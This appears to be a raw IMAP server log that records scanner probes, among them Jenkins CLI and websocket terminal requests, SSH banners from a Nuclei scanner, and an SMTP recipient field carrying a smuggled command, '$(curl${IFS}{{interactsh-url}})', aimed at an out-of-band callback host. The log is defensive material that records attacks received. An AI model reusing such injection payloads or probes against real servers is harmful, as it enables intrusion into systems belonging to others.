IMAP-IN - - 85.215.251.124 6024 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 79 0 26-08-26 21:12:24 71.6.240.105 IMAP-IN - - 85.215.251.124 6024 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 21:12:24 71.6.240.105 IMAP-IN - - 85.215.251.124 6024 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 21:19:09 71.6.240.105 IMAP-IN - - 85.215.251.124 5940 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-08-26 21:28:46 71.6.240.105 IMAP-IN - - 85.215.251.124 3872 UNKN - SSH-2.0-Go WIN-RBUO1FA4VBJ 34 12 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN 1004b540-8c37-4919-8bb8-79e548697657 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 21:35:23 71.6.240.105 IMAP-IN - - 85.215.251.124 5292 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN 1004b540-8c37-4919-8bb8-79e548697657 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 21:35:24 71.6.240.105 IMAP-IN - - 85.215.251.124 5628 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN 61914c96-c2a8-4344-e54d-12dc6a127749 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 21:35:25 71.6.240.105 IMAP-IN - - 85.215.251.124 4784 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN 61914c96-c2a8-4344-e54d-12dc6a127749 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 21:35:26 71.6.240.105 IMAP-IN - - 85.215.251.124 6076 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 21:42:45 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-08-26 21:42:45 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-08-26 21:42:45 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-08-26 21:42:45 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-08-26 21:42:46 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-08-26 21:42:46 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-08-26 21:42:46 71.6.240.105 IMAP-IN - - 85.215.251.124 5536 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-08-26 21:54:00 71.6.240.105 IMAP-IN - - 85.215.251.124 5084 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-08-26 21:59:07 71.6.240.105 IMAP-IN - - 85.215.251.124 4976 UNKN - INFO WIN-RBUO1FA4VBJ 28 6 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 203 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN http://85.215.251.124:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 22:07:16 71.6.240.105 IMAP-IN - - 85.215.251.124 5868 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 22:17:56 66.132.224.84 IMAP-IN - - 85.215.251.124 4160 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-27 00:59:32 198.235.24.237 IMAP-IN - - 85.215.251.124 5588 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0